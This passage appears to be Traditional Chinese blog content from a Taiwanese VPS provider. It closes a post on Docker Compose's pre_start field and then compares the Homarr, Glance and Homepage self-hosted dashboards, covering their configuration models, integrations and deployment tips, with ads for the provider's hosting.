寫在 compose 檔裡的 pre_start 對舊版是硬性 breaking——舊版 parser 遇到不認識的欄位會 warn 或直接錯誤退出，取決於版本。這件事對團隊裡有人用舊版本的情境要注意，最好把 docker compose version 加進 CI 檢查跟部署 script。

有些人可能會想乾脆等到 Docker Swarm 或 Kubernetes 也支援類似欄位再統一。目前狀況是 Swarm 已經事實停止大規模開發，Kubernetes 的 initContainer 語意跟 Compose 的 pre_start 相近但不完全一樣（K8s 的 initContainer 每個 Pod 各跑一次，Compose 的 pre_start 是 service 層級）。想從 Compose 遷移到 K8s 的團隊，pre_start 概念上是可以直接對應過去的，只是要意識到 replica 語意的差異。

什麼時候該換、什麼時候先不用

該換的情境很直接：docker compose ps 列表被殭屍 init service 塞滿的部署、有多段初始化步驟串成 depends_on 鏈的 compose 檔、chown 或 chmod init 用得很頻繁的服務、資料庫遷移或 seed data 常常忘記 --force-recreate 導致跑掉的環境。這些場景改寫成 pre_start 之後，compose 檔會短很多，維運心智負擔會小很多。

先不用換的情境：Compose 版本鎖在舊版沒辦法升的老專案、init 需要在多副本間各跑一次的少數場景、init 步驟本身複雜到需要獨立日誌跟監控（那應該是個 real service，不是 init）。另外目前 pre_start 的權限跟 volume 定義不能覆寫服務本身的設定——例如想在 init 用 root 跑但主服務用 non-root，或想在 init 掛一顆額外的 volume——這些限制在 GitHub issue #13934 有討論但還沒有解，遇到就得暫時繼續用舊做法。

單機 VPS 上跑 Docker Compose 是很多小型自架服務的預設配置，這種環境每一個 compose 檔的複雜度都會直接反映在維運成本上。pre_start 這個看似小的欄位真正的價值不在於功能新——service_completed_successfully 本來就做得到大部分事——而在於它把「這是一次性的初始化」這個意圖用型別化的語法明確表達出來，docker compose ps 的輸出更乾淨、上線 script 更好寫、六個月後回頭看 compose 檔也讀得懂。

要跑得穩、跑得動，最底層還是要有一臺不掉線的 VPS。NCSE Network 提供臺灣是方電訊機房的 VPS 服務，Intel Gold CPU 加 NVMe SSD，適合跑長時間的 Docker Compose 部署跟自架服務。有興趣可以到 ncse.tw 了解方案細節。

這篇拆解 Homarr、Glance、Homepage 在 2026 年的實際定位，以及在自架 VPS 部署一個 self-hosted dashboard 時該怎麼決定。

Homarr 1.0 rewrite 把整套 dashboard 搬進瀏覽器

Homarr 從 0.x 到 1.0 的變化不是加功能而是砍地基。舊版跟其他 YAML dashboard 沒有本質區別——手改 config、reload 生效、Git 管版本。1.0 之後這條路整條被拔掉，取而代之的是後端跑 tRPC + WebSocket + Redis 的即時資料層、前端把 board 做成可以拖拉、resize、直接編輯的 canvas。加一個新 widget 不再是編 YAML 而是點右鍵開選單、拖到位置、填 URL 跟 API token。

這個決定換來三件事。第一是即時性——所有 widget 靠 WebSocket 推更新，Sonarr 抓到新集、qBittorrent 下載完、Docker 容器重啟這類事件會直接在 tile 上動起來，不用等下一次 polling。第二是 integration 深度大幅拉高，2026 年 7 到 8 月的釋出節奏裡把 Beszel 的即時 stats、TrueNAS 的容量報告、Home Assistant、What’s Up Docker、Traefik、Bazarr、PatchMon、Navidrome、Synology health 一個個接上，現在 100+ 服務都是「認得出來、能顯示狀態、能點按鈕操作」而不是只放個圖示連過去。第三是內建認證跟權限管理——BCrypt 加 AES-256-CBC 存 secret、支援 OIDC credential linking、可以做 apps management 的細粒度限制，反向代理前面不用再多包一層 auth 服務。

代價是這套架構完全不 IaC-friendly。Board 的配置存在資料庫裡，備份要備 Postgres 或 SQLite 快照，Git 版本控制那條路走不了。同時 1.x 這條線的釋出節奏是週更——v1.69 到 v1.76 這八個小版本壓在七、八月裡，功能持續進、breaking change 也偶爾夾在裡面。想要「裝好就三年不動」的體驗，這套目前給不了。

Glance 反方向走到極端，一支 Go binary 收所有 feed

Glance 是這輪最有辨識度的一家。整個 dashboard 是一支不到 20MB 的 Go binary，跑起來吃十幾 MB 記憶體，只認一個 glance.yml 設定檔。它不去接 Sonarr 或 Docker 的 API，也不做 uptime monitoring，把火力集中在一個問題上——把散在網路上的資訊 feed 收成一頁。

支援的 widget 反映了這個定位：RSS、Hacker News、subreddit、YouTube 頻道更新、Twitch 直播狀態、天氣、股票、Docker 容器列表、伺服器基本 stats、行事曆。這些東西在 Homepage 或 Homarr 上要嘛沒有要嘛是二等公民，在 Glance 上是核心。v0.8 加了 custom-api widget，能對任何 JSON endpoint 抓資料再用 Go template 渲染成自訂 tile，這條路把「自架 dashboard 顯示什麼」的邊界完全推開，社群 marketplace 上現在有從加密貨幣 gas fee 到自家 Grafana metric 到 Notion 資料庫的模板可以直接抄。

它的 YAML 用得很兇——nested config includes、Docker secrets、多頁 tab、per-widget 樣式覆寫都靠改設定檔。這種取捨的直接後果是配置可以整份放 Git 管、跨機器 rsync 就能搬、CI 上 lint 一下就知道有沒有錯。但真的要接一個 self-hosted 服務的活資料就要自己寫 custom-api 或 script 中間層，這一段 Homarr 是內建的。

Glance v0.8.0 也開始有 username/password 認證跟 theme 熱切換，過去那個「有 URL 的人都能看」的階段結束了，但整體還是傾向「一個人或小團體用的儀表板」而不是 Homarr 那種「多用戶多權限的入口網站」。

Homepage 停在 YAML 陣營頂端但節奏放慢

Homepage 是 YAML 陣營裡最完整的老牌選手，一直到 2024 年底都是 self-hosted 圈預設推薦。100+ 服務 widget 的目錄現在還是最大宗，Docker service discovery 能自動抓到跑起來的容器並顯示對應 tile，配置檔用多個 YAML 分開（services、bookmarks、widgets、settings）架構清楚。裝起來吃 60 MB 上下記憶體，比 Homarr 輕不少。

問題是 2025 到 2026 年上半的釋出節奏明顯放緩，PR 有在合但缺少 Homarr 那種週更的推進速度。原本一直在補上新 service 的 widget，這一年新增的量比 Homarr 少一大截。技術棧本身沒問題，但生態動能開始往 Homarr 這邊移。

現在選 Homepage 的合理理由剩下兩個：Docker service discovery 對懶得手動列服務的人是唯一能自動偵測的選擇；100+ service widget 的既有目錄仍然涵蓋大部分自架服務。這兩點如果不在意，往下走 Glance 更輕、往上走 Homarr 功能更深。

三種部署情境的實際分野

Dashboard 這個類別的選擇比它看起來重要——它是每天開瀏覽器第一個看的頁面，重寫配置的成本比想像中高。

想把 dashboard 當 IaC 的一部分、配置整份放 Git、CI 檢查一下就 deploy 到多臺機器：Glance 是最俐落的選擇。單支 binary、YAML 全部搞定、備份 rsync 一個檔案就完事。適合以個人為單位管理 3 到 5 臺 VPS 的自架者，資訊焦點在 RSS/HN/監控 feed 而不是 Sonarr/Radarr 這類 arr stack 的直接控制。

十幾個服務要接進 dashboard、有一整支 arr stack 要監控、team 內有非 CLI 派同事要用網頁改東西：Homarr 1.x 是目前唯一能同時打滿這三點的選項。權衡的是要接受它的資料庫存放模式、放棄 Git 版本控制的舒適圈、週更節奏偶爾踩到 breaking change。

介於中間、想要 Docker service discovery 自動化又不打算搬到 Homarr 那種重量級架構：Homepage 還是可以用，但要有心理準備專案動能已經沒在往上走。

以自架 VPS 的部署情境來說，這三個都是 Docker 一支起來就能用的規模，資源需求都在單核 512MB RAM 以內能塞。差別完全在配置模型跟 integration 深度，不在效能。

部署時容易踩到的細節

三套跑起來都不困難，但幾個實際部署會撞到的問題值得先講。

Homarr 1.x 的 database migration 在小版本間有時候是自動、有時候要手動跑，升級前該備份 volume。反向代理前面要接 WebSocket，Caddy 跟 Traefik 預設就會處理，Nginx 要多加 proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade";。secret 存在資料庫但用 AES-256-CBC 加密，資料庫檔案本身建議還是加密卷或 encrypted backup 帶著。

Glance 的 custom-api widget 是強項也是坑點，Go template 語法遇到複雜 JSON 結構的解析錯誤訊息不太友善，第一次寫建議直接抄社群範本改。跨網域的 API 呼叫在瀏覽器端會踩 CORS，官方文件建議走 proxy 模式讓 Glance server 端去呼叫再轉發，不要試著讓瀏覽器直接打第三方 API。

Homepage 的 Docker service discovery 需要把 Docker socket 掛進 container，這是安全邊界問題。要嘛用 socket proxy（推薦 tecnativa/docker-socket-proxy 這類唯讀限制的 proxy），要嘛接受 dashboard 容器實質上等於 privileged。純家用 VPS 直接掛 socket 通常可接受，多租戶或有其他人能操作 host 的環境就一定要 proxy。

結論與服務推薦

Self-hosted dashboard 在 2026 年不再是「隨便挑一個」的類別。Homarr 1.0 rewrite 把 UI-driven 跟 real-time integration 這條路走到底，Glance 把 YAML 極簡跟 feed-first 推到極端，Homepage 停在中間但動能減弱。選哪一個由「配置模型偏好」跟「要接的服務類型」兩個維度共同決定，跟部署規模的關係反而不大。

NCSE Network 提供臺灣是方電訊機房的 VPS 主機，Intel Gold CPU 加 NVMe SSD，是自架這類 dashboard 服務的合適平臺——低延遲的臺灣機房讓 WebSocket 連線在 Homarr 的即時更新體驗上不打折扣，Docker socket 掛載跟反向代理配置也都是標準流程。歡迎到 https://ncse.tw 進一步了解服務內容。